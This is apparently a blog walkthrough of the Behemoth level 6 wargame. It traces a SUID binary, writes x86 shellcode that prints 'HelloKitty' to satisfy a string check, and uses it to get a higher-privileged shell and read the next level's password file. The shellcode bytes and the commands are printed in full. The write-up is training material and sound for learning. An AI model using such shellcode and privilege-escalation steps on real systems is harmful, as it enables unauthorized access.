behemoth6@behemoth:~$ /behemoth/behemoth6
Incorrect output.
Not so many information, so let's run in ltrace.
behemoth6@behemoth:~$ ltrace /behemoth/behemoth6 __libc_start_main(0x80485db, 1, 0xffffd774, 0x80486d0 <unfinished ...> popen("/behemoth/behemoth6_reader", "r") = 0x804b008 malloc(10) = 0x804b0b8 fread(0x804b0b8, 10, 1, 0x804b008) = 1 pclose(0x804b008 <no return ...> --- SIGCHLD (Child exited) --- <... pclose resumed> ) = 0 strcmp("Couldn't o", "HelloKitty") = -1 puts("Incorrect output."Incorrect output. ) = 18 +++ exited (status 0) +++
That's better: the executable spawns another process executing /behemoth/behemoth6_reader and reads the output from this process.
Then it compares to the string "HelloKitty" and then exits
If we open the behemoth6 executable we find that in the end it calls an execl() function.
Most probably, if we can have the behemoth6_reader file generate an output string of "HelloKitty" we receive an elevated shell...
So let's run the behemoth6_reader with ltrace:
behemoth6@behemoth:~$ ltrace /behemoth/behemoth6_reader __libc_start_main(0x80485ab, 1, 0xffffd764, 0x80486b0 <unfinished ...> fopen("shellcode.txt", "r") = 0 puts("Couldn't open shellcode.txt!"Couldn't open shellcode.txt! ) = 29 +++ exited (status 0) +++
It tries to open a file shellcode.txt in the current directory
So let's create a directory in tmp, move to it and put a bash command in a shellcode.txt file (i.e. "echo A")
behemoth6@behemoth:~$ mkdir /tmp/b6a behemoth6@behemoth:~$ cd /tmp/b6a behemoth6@behemoth:/tmp/b6a$ echo "echo A" > shellcode.txt
behemoth6@behemoth:/tmp/b6a$ ltrace /behemoth/behemoth6_reader __libc_start_main(0x80485ab, 1, 0xffffd764, 0x80486b0 <unfinished ...> fopen("shellcode.txt", "r") = 0x804b008 fseek(0x804b008, 0, 2, 0x200000) = 0 ftell(0x804b008, 0, 2, 0x200000) = 7 rewind(0x804b008, 0, 2, 0x200000) = 0xfbad2488 malloc(7) = 0x804c170 fread(0x804c170, 7, 1, 0x804b008) = 1 fclose(0x804b008) = 0 --- SIGSEGV (Segmentation fault) --- +++ killed by SIGSEGV +++
It goes in Segmentation Fault, so let's use gdb to understand the reason
behemoth6@behemoth:/tmp/b6a$ gdb /behemoth/behemoth6_reader
...
(gdb) r Starting program: /behemoth/behemoth6_reader Program received signal SIGSEGV, Segmentation fault. 0x0804c170 in ?? () (gdb) x/c 0x0804c170 0x804c170: 101 'e' (gdb) 0x804c171: 99 'c' (gdb) 0x804c172: 104 'h' (gdb) 0x804c173: 111 'o' (gdb) 0x804c174: 32 ' ' (gdb) 0x804c175: 65 'A'
It seems that the behemoth6_reader open the shellcode.txt file and use it as shellcode, running as if it were machine code.
That could be an interesting thing to use.
Now we verify permission on the two files behemoth6 and behemoth6_reader:
behemoth6@behemoth:/tmp/b6a$ ls -l /behemoth/behemoth6_reader -r-xr-x--- 1 behemoth7 behemoth6 7528 Oct 29 2018 /behemoth/behemoth6_reader behemoth6@behemoth:/tmp/b6a$ ls -l /behemoth/behemoth6 -r-sr-x--- 1 behemoth7 behemoth6 7564 Oct 29 2018 /behemoth/behemoth6
behemoth6_reader is not SUID, so we can't put an execve() shellcode directly into shellcode.txt file: it wouldn't open an elevated shell.
We have use behemoth6 file and make the behemoth6_reader generate an output to pass though that strcmp("","HelloKitty").
In other words, we have to build a shellcode that prints "HelloKitty" to output and save it to shellcode.txt
To do this we can use write() syscall followed by an exit() syscall.
The write() syscal can triggered by compiling some reigsters and executing an "int 0x80" istruction
- eax: sycall number of write() (= 4)
- ebx: filedescriptor for output (stdout = 1)
- ecx: address of string (push the string on the stack, then copy esp into ecx)
- edx: size of string (14 bytes = 0xe)
behemoth6@behemoth:/tmp/b6a$ cat HelloKitty.asm
[SECTION .text]
global _start
_start:
jmp short ender
starter:
xor eax, eax ; blank eax
push eax ; push null termination on the stack
push 0x7974 ; push HelloKitty on the stack
push 0x74694B6f
push 0x6c6c6548
mov bl, 0x1 ; put 1 in ebx (stdout)
mov ecx, esp ; put address of string in ecx
mov dl, 0xe ; put length of string in edx
mov al, 0x4 ; syscall number of write in eax
int 0x80 ; execute syscall
mov al, 0x1 ; syscall number of exit
int 0x80 ; execute syscall
ender:
Then compile it to ELF format: it will create a HelloKitty.o file.
Now we disassemble the HelloKItty.o file with onbjdump and retrieve the machine code corresponding to the shellcode.
behemoth6@behemoth:/tmp/b6a$ nasm -f elf HelloKitty.asm behemoth6@behemoth:/tmp/b6a$ objdump -D HelloKitty.o HelloKitty.o: file format elf32-i386 Disassembly of section .text: 00000000 <_start>: 0: eb 20 jmp 22 <ender> 00000002 <starter>: 2: 31 c0 xor %eax,%eax 4: 50 push %eax 5: 68 74 79 00 00 push $0x7974 a: 68 6f 4b 69 74 push $0x74694b6f f: 68 48 65 6c 6c push $0x6c6c6548 14: b3 01 mov $0x1,%bl 16: 89 e1 mov %esp,%ecx 18: b2 0e mov $0xe,%dl 1a: b0 04 mov $0x4,%al 1c: cd 80 int $0x80 1e: b0 01 mov $0x1,%al 20: cd 80 int $0x80
Then we put in a test C file
1 2 3 4 5 6 7 8 | char code[] = "\x31\xc0\x50\x68\x74\x79\x0a\x0a\x68\x6f\x4b\x69\x74\x68\x48\x65\x6c\x6c\xb3\x01\x89\xe1\xb2\x0e\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80" int main(int argc, char **argv) { int (*shell)(); shell = (int (*)()) code; (int)(*shell)(); } |
behemoth6@behemoth:/tmp/b6a$ gcc -Wl,-z,norelro -z execstack -fno-stack-protector -m32 shellcode.c -o shellcode
We then run shellcode file to see if it prints out the string "HelloKitty"
If it runs correctly we put the shellcode string in the hellcode.txt file in binary format (not text format) with:
behemoth6@behemoth:/tmp/b6a$ python -c 'print "\x31\xc0\x50\x68\x74\x79\x0a\x0a\x68\x6f\x4b\x69\x74\x68\x48\x65\x6c\x6c\xb3\x01\x89\xe1\xb2\x0e\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80"' > shellcode.txt
Verify that the reader works.
behemoth6@behemoth:/tmp/b6a$ strace /behemoth/behemoth6_reader execve("/behemoth/behemoth6_reader", ["/behemoth/behemoth6_reader"], [/* 18 vars */]) = 0 .... close(3) = 0 write(1, "HelloKitty\n\n\0\0", 14HelloKitty ) = 14 exit(1) = ? +++ exited with 1 +++
We're ready to run the vulnerable program:
behemoth6@behemoth:/tmp/b6a$ /behemoth/behemoth6
Correct.
$ id uid=13007(behemoth7) gid=13006(behemoth6) groups=13006(behemoth6)
$ cat /etc/behemoth_pass/behemoth7
b******o
$
No comments:
Post a Comment
Note: Only a member of this blog may post a comment.